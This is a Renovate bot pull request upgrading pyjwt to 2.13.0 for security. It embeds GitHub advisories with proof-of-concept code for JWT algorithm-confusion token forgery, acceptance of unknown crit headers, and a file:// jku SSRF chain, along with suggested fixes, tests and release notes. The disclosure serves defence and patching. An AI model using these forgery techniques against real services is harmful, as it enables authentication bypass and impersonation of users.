Skip to content

chore(deps): update dependency pyjwt to v2.13.0 [security] - #1404

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-pyjwt-vulnerability
Open

chore(deps): update dependency pyjwt to v2.13.0 [security]#1404
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-pyjwt-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Aug 6, 2024

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
pyjwt ==2.1.0==2.13.0 age confidence

Key confusion through non-blocklisted public key formats

CVE-2022-29217 / GHSA-ffqj-6fqr-9h24

More information

Details

Impact

What kind of vulnerability is it? Who is impacted?

Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).

PyJWT supports multiple different JWT signing algorithms. With JWT, an
attacker submitting the JWT token can choose the used signing algorithm.

The PyJWT library requires that the application chooses what algorithms
are supported. The application can specify
"jwt.algorithms.get_default_algorithms()" to get support for all
algorithms. They can also specify a single one of them (which is the
usual use case if calling jwt.decode directly. However, if calling
jwt.decode in a helper function, all algorithms might be enabled.)

For example, if the user chooses "none" algorithm and the JWT checker
supports that, there will be no signature checking. This is a common
security issue with some JWT implementations.

PyJWT combats this by requiring that the if the "none" algorithm is
used, the key has to be empty. As the key is given by the application
running the checker, attacker cannot force "none" cipher to be used.

Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is
not a public key meant for asymmetric algorithm i.e. HMAC cannot be used
if the key begins with "ssh-rsa". If HMAC is used with a public key, the
attacker can just use the publicly known public key to sign the token
and the checker would use the same key to verify.

From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm.
With ed25519, PyJWT supports public keys that start with "ssh-", for
example "ssh-ed25519".

import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519

##### Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()

##### Get private key bytes as they would be stored in a file
priv_key_bytes = 
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, 
encryption_algorithm=serialization.NoEncryption())

##### Get public key bytes as they would be stored in a file
pub_key_bytes = 
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)

##### Making a good jwt token that should work by signing it with the 
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")

##### Using HMAC with the public key to trick the receiver to think that the 
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")

##### Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
     print("POC Successfull")

##### Of course the receiver should specify ed25519 algorithm to be used if 
they specify ed25519 public key. However, if other algorithms are used, 
the POC does not work

##### HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#

#        invalid_strings = [
#            b"-----BEGIN PUBLIC KEY-----",

#            b"-----BEGIN CERTIFICATE-----",
#            b"-----BEGIN RSA PUBLIC KEY-----",

#            b"ssh-rsa",
#        ]

#
##### However, OKPAlgorithm (ed25519) accepts the following in 
jwt/algorithms.py:

#
#                if "-----BEGIN PUBLIC" in str_key:

#                    return load_pem_public_key(key)
#                if "-----BEGIN PRIVATE" in str_key:

#                    return load_pem_private_key(key, password=None)
#                if str_key[0:4] == "ssh-":

#                    return load_ssh_public_key(key)
#

##### These should most likely made to match each other to prevent this behavior
import jwt

#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem

#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem
#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub

priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49
AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk
Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END EC PRIVATE KEY-----"""

pub_key_bytes = b"""-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL
Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END PUBLIC KEY-----"""

ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""

##### Making a good jwt token that should work by signing it with the private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")

##### Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")

##### Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
    print("POC Successfull")
else:
    print("POC Failed")

The issue is not that big as
algorithms=jwt.algorithms.get_default_algorithms() has to be used.
However, with quick googling, this seems to be used in some cases at
least in some minor projects.

Patches

Users should upgrade to v2.4.0.

Workarounds

Always be explicit with the algorithms that are accepted and expected when decoding.

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory:

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT accepts unknown crit header extensions

CVE-2026-32597 / GHSA-752w-5fwx-jx9f

More information

Details

Summary

PyJWT does not validate the crit (Critical) Header Parameter defined in
RFC 7515 §4.1.11. When a JWS token contains a crit array listing
extensions that PyJWT does not understand, the library accepts the token
instead of rejecting it. This violates the MUST requirement in the RFC.

This is the same class of vulnerability as CVE-2025-59420 (Authlib),
which received CVSS 7.5 (HIGH).


RFC Requirement

RFC 7515 §4.1.11:

The "crit" (Critical) Header Parameter indicates that extensions to this
specification and/or [JWA] are being used that MUST be understood and
processed. [...] If any of the listed extension Header Parameters are
not understood and supported by the recipient, then the JWS is invalid.


Proof of Concept
import jwt  # PyJWT 2.8.0
import hmac, hashlib, base64, json

##### Construct token with unknown critical extension
header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"}
payload = {"sub": "attacker", "role": "admin"}

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

h = b64url(json.dumps(header, separators=(",", ":")).encode())
p = b64url(json.dumps(payload, separators=(",", ":")).encode())
sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest())
token = f"{h}.{p}.{sig}"

##### Should REJECT — x-custom-policy is not understood by PyJWT
try:
    result = jwt.decode(token, "secret", algorithms=["HS256"])
    print(f"ACCEPTED: {result}")
    # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'}
except Exception as e:
    print(f"REJECTED: {e}")

Expected: jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy
Actual: Token accepted, payload returned.

Comparison with RFC-compliant library
##### jwcrypto — correctly rejects
from jwcrypto import jwt as jw_jwt, jwk
key = jwk.JWK(kty="oct", k=b64url(b"secret"))
jw_jwt.JWT(jwt=token, key=key, algs=["HS256"])

##### raises: InvalidJWSObject('Unknown critical header: "x-custom-policy"')

Impact
  • Split-brain verification in mixed-library deployments (e.g., API
    gateway using jwcrypto rejects, backend using PyJWT accepts)
  • Security policy bypass when crit carries enforcement semantics
    (MFA, token binding, scope restrictions)
  • Token binding bypass — RFC 7800 cnf (Proof-of-Possession) can be
    silently ignored
  • See CVE-2025-59420 for full impact analysis

Suggested Fix

In jwt/api_jwt.py, add validation in _validate_headers() or
decode():

_SUPPORTED_CRIT = {"b64"}  # Add extensions PyJWT actually supports

def _validate_crit(self, headers: dict) -> None:
    crit = headers.get("crit")
    if crit is None:
        return
    if not isinstance(crit, list) or len(crit) == 0:
        raise InvalidTokenError("crit must be a non-empty array")
    for ext in crit:
        if ext not in self._SUPPORTED_CRIT:
            raise InvalidTokenError(f"Unsupported critical extension: {ext}")
        if ext not in headers:
            raise InvalidTokenError(f"Critical extension {ext} not in header")

CWE
  • CWE-345: Insufficient Verification of Data Authenticity
  • CWE-863: Incorrect Authorization
References

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed

CVE-2026-48526 / GHSA-xgmm-8j9v-c9wx

More information

Details

[!NOTE]
Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in algorithms=[…] and a raw-JSON JWK as the key= argument, both contrary to documented usage, hence the High attack-complexity rating.

Summary

When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.

Details

In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms.
In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:

jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))

An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm.
The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.

If we look on current protections implemented in the library, at class HMACAlgorithm:

  def prepare_key(self, key: str | bytes) -> bytes:
        key_bytes = force_bytes(key)

        if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
            raise InvalidKeyError(
                "The specified key is an asymmetric key or x509 certificate and"
                " should not be used as an HMAC secret."
            )

        return key_bytes

We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.

In The following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.

The bypass happens only if the verifier:
(a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.

PoC

Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')

from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

##### Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})

##### Attacker-crafted token: flip to HS256 and choose claims
header  = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload

##### Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig   = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()

##### Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))

##### -> b'{"sub":"alice","admin":true}'
Impact

Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)

CVE-2026-48524 / GHSA-fhv5-28vv-h8m8

More information

Details

[!NOTE]
The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. Impact is reduced auth availability until the next successful fetch, not complete denial of service.

Summary

PyJWKClient.get_signing_key() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests.

Additionally, fetch_data() finally block clears the JWKS cache on network error.

Root Cause

jwt/jwks_client.py:172-198 - get_signing_key(kid) calls get_signing_keys(refresh=True) for unknown kids, bypassing TTL cache with no cooldown.
jwt/jwks_client.py:120-122 - finally block writes None to cache on error, clearing valid data.

Impact
  • DoS against JWKS endpoint (unlimited requests per invalid token)
  • DoS against application (network I/O latency)
  • Cascading failure (rate limiting clears cache, breaking legitimate auth)
Suggested Fix
  1. Add refresh cooldown (refuse refresh more than once per TTL period)
  2. Move cache write from finally to else block
Affected Versions

All versions with PyJWKClient (2.4.0 through 2.12.1)

Severity

  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes

CVE-2026-48522 / GHSA-993g-76c3-p5m4

More information

Details

[!NOTE]
The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

  1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load.
  2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
  3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.
Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)
import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time

##### Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n

def b64u(n):
    bl = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

##### Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
                  "n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
    json.dump(jwks, f)

##### Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
    {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
    priv_pem, algorithm="RS256",
    headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

##### Vulnerable application pattern: caller derives jku from token header

##### and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"])      # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
                       audience="target-app")
print("Token verified:", decoded)

##### Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}
Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

Library Behavior on jku=file://... Mechanism
PyJWT 2.12.1 (Python) Reads file from disk, parses, uses for signature verification urllib default OpenerDirector includes FileHandler
panva/jose 6.2.3 (Node.js) Refuses pre-fetch WHATWG fetch() rejects non-http(s) at fetch-spec layer
golang-jwt + MicahParks/keyfunc v3.4.0 (Go) Refuses pre-fetch http.DefaultTransport only registers http/https
Microsoft.IdentityModel.Tokens 8.18.0 (.NET) Refuses pre-fetch HttpDocumentRetriever defaults RequireHttps=true
Spring Security NimbusJwtDecoder 6.3.4 (Java) Refuses pre-fetch URI parser delegation refuses non-http(s) at request build

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwks_client.py
def __init__(
    self, uri: str,
    cache_keys: bool = False, max_cached_keys: int = 16,
    cache_jwk_set: bool = True, lifespan: float = 300,
    headers: dict[str, Any] | None = None, timeout: float = 30,
    ssl_context: SSLContext | None = None,
    allowed_schemes: tuple[str, ...] = ("https", "http"),  # NEW
):
    """...
    :param allowed_schemes: URL schemes the JWKS endpoint is permitted
        to use. Default ``("https", "http")``. Pass ``("https",)`` for
        HTTPS-only operation. URLs with disallowed schemes raise
        ``PyJWKClientError`` before any fetch is attempted.
    """
    # ... existing init code ...
    self.allowed_schemes = allowed_schemes
    self._validate_uri_scheme()

def _validate_uri_scheme(self) -> None:
    """Reject the configured URI early if its scheme isn't allowed."""
    from urllib.parse import urlparse
    parsed = urlparse(self.uri)
    scheme = parsed.scheme.lower()
    if not scheme:
        raise PyJWKClientError(
            f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
            f"{self.allowed_schemes!r}")
    if scheme not in self.allowed_schemes:
        raise PyJWKClientError(
            f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
            f"{self.allowed_schemes!r}; refusing to fetch from this URL")
Tests to add
def test_pyjwkclient_rejects_file_scheme():
    with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
        PyJWKClient("file:///etc/passwd")

def test_pyjwkclient_rejects_ftp_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("ftp://example.org/keys.json")

def test_pyjwkclient_rejects_data_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient('data:application/json,{"keys":[]}')

def test_pyjwkclient_caller_can_lock_to_https_only():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))
Compatibility
  • Default allowed_schemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints
  • Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)
  • No changes to urllib fetch logic itself — the fix is a pre-validation gate
Class precedent

This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

Severity

  • CVSS Score: 4.2 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

jpadilla/pyjwt (pyjwt)

v2.13.0

Compare Source

v2.12.1

Compare Source

Changed


- Migrate the ``dev``, ``docs``, and ``tests`` package extras to dependency groups by @kurtmckee in `#&#8203;1152 <https://github.com/jpadilla/pyjwt/pull/1152>`__

`v2.12.1 <https://github.com/jpadilla/pyjwt/compare/2.12.0...2.12.1>`__
------------------------------------------------------------------------

Fixed
~~~~~

- Add missing ``typing_extensions`` dependency for Python < 3.11 in `#&#8203;1150 <https://github.com/jpadilla/pyjwt/issues/1150>`__

`v2.12.0 <https://github.com/jpadilla/pyjwt/compare/2.11.0...2.12.0>`__
-----------------------------------------------------------------------

Fixed
~~~~~

- Annotate PyJWKSet.keys for pyright by @tamird in `#&#8203;1134 <https://github.com/jpadilla/pyjwt/pull/1134>`__
- Close ``HTTPError`` response to prevent ``ResourceWarning`` on Python 3.14 by @veeceey in `#&#8203;1133 <https://github.com/jpadilla/pyjwt/pull/1133>`__
- Do not keep ``algorithms`` dict in PyJWK instances by @akx in `#&#8203;1143 <https://github.com/jpadilla/pyjwt/pull/1143>`__
- Validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. by @dmbs335 in `GHSA-752w-5fwx-jx9f <https://github.com/jpadilla/pyjwt/security/advisories/GHSA-752w-5fwx-jx9f>`__
- Use PyJWK algorithm when encoding without explicit algorithm in `#&#8203;1148 <https://github.com/jpadilla/pyjwt/pull/1148>`__

Added
~~~~~

- Docs: Add ``PyJWKClient`` API reference and document the two-tier caching system (JWK Set cache and signing key LRU cache).

`v2.11.0 <https://github.com/jpadilla/pyjwt/compare/2.10.1...2.11.0>`__
-----------------------------------------------------------------------

Fixed
~~~~~

- Enforce ECDSA curve validation per RFC 7518 Section 3.4.
- Fix build system warnings by @kurtmckee in `#&#8203;1105 <https://github.com/jpadilla/pyjwt/pull/1105>`__
- Validate key against allowed types for Algorithm family in `#&#8203;964 <https://github.com/jpadilla/pyjwt/pull/964>`__
- Add iterator for JWKSet in `#&#8203;1041 <https://github.com/jpadilla/pyjwt/pull/1041>`__
- Validate `iss` claim is a string during encoding and decoding by @pachewise in `#&#8203;1040 <https://github.com/jpadilla/pyjwt/pull/1040>`__
- Improve typing/logic for `options` in decode, decode_complete by @pachewise in `#&#8203;1045 <https://github.com/jpadilla/pyjwt/pull/1045>`__
- Declare float supported type for lifespan and timeout by @nikitagashkov in `#&#8203;1068 <https://github.com/jpadilla/pyjwt/pull/1068>`__
- Fix ``SyntaxWarning``\s/``DeprecationWarning``\s caused by invalid escape sequences by @kurtmckee in `#&#8203;1103 <https://github.com/jpadilla/pyjwt/pull/1103>`__
- Development: Build a shared wheel once to speed up test suite setup times by @kurtmckee in `#&#8203;1114 <https://github.com/jpadilla/pyjwt/pull/1114>`__
- Development: Test type annotations across all supported Python versions,
  increase the strictness of the type checking, and remove the mypy pre-commit hook
  by @kurtmckee in `#&#8203;1112 <https://github.com/jpadilla/pyjwt/pull/1112>`__

Added
~~~~~

- Support Python 3.14, and test against PyPy 3.10 and 3.11 by @kurtmckee in `#&#8203;1104 <https://github.com/jpadilla/pyjwt/pull/1104>`__
- Development: Migrate to ``build`` to test package building in CI by @kurtmckee in `#&#8203;1108 <https://github.com/jpadilla/pyjwt/pull/1108>`__
- Development: Improve coverage config and eliminate unused test suite code by @kurtmckee in `#&#8203;1115 <https://github.com/jpadilla/pyjwt/pull/1115>`__
- Docs: Standardize CHANGELOG links to PRs by @kurtmckee in `#&#8203;1110 <https://github.com/jpadilla/pyjwt/pull/1110>`__
- Docs: Fix Read the Docs builds by @kurtmckee in `#&#8203;1111 <https://github.com/jpadilla/pyjwt/pull/1111>`__
- Docs: Add example of using leeway with nbf by @djw8605 in `#&#8203;1034 <https://github.com/jpadilla/pyjwt/pull/1034>`__
- Docs: Refactored docs with ``autodoc``; added ``PyJWS`` and ``jwt.algorithms`` docs by @pachewise in `#&#8203;1045 <https://github.com/jpadilla/pyjwt/pull/1045>`__
- Docs: Documentation improvements for "sub" and "jti" claims by @cleder in `#&#8203;1088 <https://github.com/jpadilla/pyjwt/pull/1088>`__
- Development: Add pyupgrade as a pre-commit hook by @kurtmckee in `#&#8203;1109 <https://github.com/jpadilla/pyjwt/pull/1109>`__
- Add minimum key length validation for HMAC and RSA keys (CWE-326).
  Warns by default via ``InsecureKeyLengthWarning`` when keys are below
  minimum recommended lengths per RFC 7518 Section 3.2 (HMAC) and
  NIST SP 800-131A (RSA). Pass ``enforce_minimum_key_length=True`` in
  options to ``PyJWT`` or ``PyJWS`` to raise ``InvalidKeyError`` instead.
- Refactor ``PyJWT`` to own an internal ``PyJWS`` instance instead of
  calling global ``api_jws`` functions.

`v2.10.1 <https://github.com/jpadilla/pyjwt/compare/2.10.0...2.10.1>`__
-----------------------------------------------------------------------

Fixed
~~~~~

- Prevent partial matching of `iss` claim by @fabianbadoi in `GHSA-75c5-xw7c-p5pm <https://github.com/jpadilla/pyjwt/security/advisories/GHSA-75c5-xw7c-p5pm>`__

`v2.10.0 <https://github.com/jpadilla/pyjwt/compare/2.9.0...2.10.0>`__
-----------------------------------------------------------------------

Changed
  • Remove algorithm requirement from JWT API, instead relying on JWS API for enforcement, by @​luhn in #&#8203;975 <https://github.com/jpadilla/pyjwt/pull/975>__

  • Use Sequence for parameter types rather than List where applicable by @​imnotjames in #&#8203;970 <https://github.com/jpadilla/pyjwt/pull/970>__

  • Add JWK support to JWT encode by @​luhn in #&#8203;979 <https://github.com/jpadilla/pyjwt/pull/979>__

  • Encoding and decoding payloads using the none algorithm by @​jpadilla in #c2629f6 <https://github.com/jpadilla/pyjwt/commit/c2629f66c593459e02616048443231ccbe18be16>__

    Before:

    .. code-block:: pycon

    import jwt
    jwt.encode({"payload": "abc"}, key=None, algorithm=None)

    After:

    .. code-block:: pycon

    import jwt
    jwt.encode({"payload": "abc"}, key=None, algorithm="none")

  • Added validation for 'sub' (subject) and 'jti' (JWT ID) claims in tokens by @​Divan009 in #&#8203;1005 <https://github.com/jpadilla/pyjwt/pull/1005>__

  • Refactor project configuration files from setup.cfg to pyproject.toml by @​cleder in #&#8203;995 <https://github.com/jpadilla/pyjwt/pull/995>__

  • Ruff linter and formatter changes by @​gagandeepp in #&#8203;1001 <https://github.com/jpadilla/pyjwt/pull/1001>__

  • Drop support for Python 3.8 (EOL) by @​kkirsche in #&#8203;1007 <https://github.com/jpadilla/pyjwt/pull/1007>__

Fixed


- Encode EC keys with a fixed bit length by @etianen in `#&#8203;990 <https://github.com/jpadilla/pyjwt/pull/990>`__
- Add an RTD config file to resolve Read the Docs build failures by @kurtmckee in `#&#8203;977 <https://github.com/jpadilla/pyjwt/pull/977>`__
- Docs: Update ``iat`` exception docs by @pachewise in `#&#8203;974 <https://github.com/jpadilla/pyjwt/pull/974>`__
- Docs: Fix ``decode_complete`` scope and algorithms by @RbnRncn in `#&#8203;982 <https://github.com/jpadilla/pyjwt/pull/982>`__
- Fix doctest for ``docs/usage.rst`` by @pachewise in `#&#8203;986 <https://github.com/jpadilla/pyjwt/pull/986>`__
- Fix ``test_utils.py`` not to xfail by @pachewise in `#&#8203;987 <https://github.com/jpadilla/pyjwt/pull/987>`__
- Docs: Correct `jwt.decode` audience param doc expression by @peter279k in `#&#8203;994 <https://github.com/jpadilla/pyjwt/pull/994>`__

Added
  • Add support for python 3.13 by @​hugovk in #&#8203;972 <https://github.com/jpadilla/pyjwt/pull/972>__
  • Create SECURITY.md by @​auvipy and @​jpadilla in #&#8203;973 <https://github.com/jpadilla/pyjwt/pull/973>__
  • Docs: Add PS256 encoding and decoding usage by @​peter279k in #&#8203;992 <https://github.com/jpadilla/pyjwt/pull/992>__
  • Docs: Add API docs for PyJWK by @​luhn in #&#8203;980 <https://github.com/jpadilla/pyjwt/pull/980>__
  • Docs: Add EdDSA algorithm encoding/decoding usage by @​peter279k in #&#8203;993 <https://github.com/jpadilla/pyjwt/pull/993>__
  • Include checkers and linters for pyproject.toml in pre-commit by @​cleder in #&#8203;1002 <https://github.com/jpadilla/pyjwt/pull/1002>__
  • Docs: Add ES256 decoding usage by @​Gautam-Hegde in #&#8203;1003 <https://github.com/jpadilla/pyjwt/pull/1003>__

v2.12.0

Compare Source

Security

What's Changed

New Contributors

Full Changelog: jpadilla/pyjwt@2.11.0...2.12.0

v2.11.0

Compare Source

Fixed


Added

v2.10.1

Compare Source

Fixed

Full Changelog: jpadilla/pyjwt@2.10.0...2.10.1

v2.10.0

Compare Source

What's Changed

New Contributors

Full Changelog: jpadilla/pyjwt@2.9.0...2.10.0

v2.9.0

Compare Source

What's Changed

New Contributors

Full Changelog: jpadilla/pyjwt@2.8.0...2.9.0

v2.8.0

Compare Source

What's Changed

New Contributors

Note

PR body was truncated to here.


Configuration

📅 Schedule: (in timezone UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot changed the title chore(deps): update dependency pyjwt to v2.4.0 [security] chore(deps): update dependency pyjwt to v2.4.0 [security] - autoclosed Mar 8, 2026
@renovate renovate Bot closed this Mar 8, 2026
@renovate
renovate Bot deleted the renovate/pypi-pyjwt-vulnerability branch March 8, 2026 20:51
@renovate renovate Bot changed the title chore(deps): update dependency pyjwt to v2.4.0 [security] - autoclosed chore(deps): update dependency pyjwt to v2.4.0 [security] Mar 13, 2026
@renovate renovate Bot reopened this Mar 13, 2026
@renovate
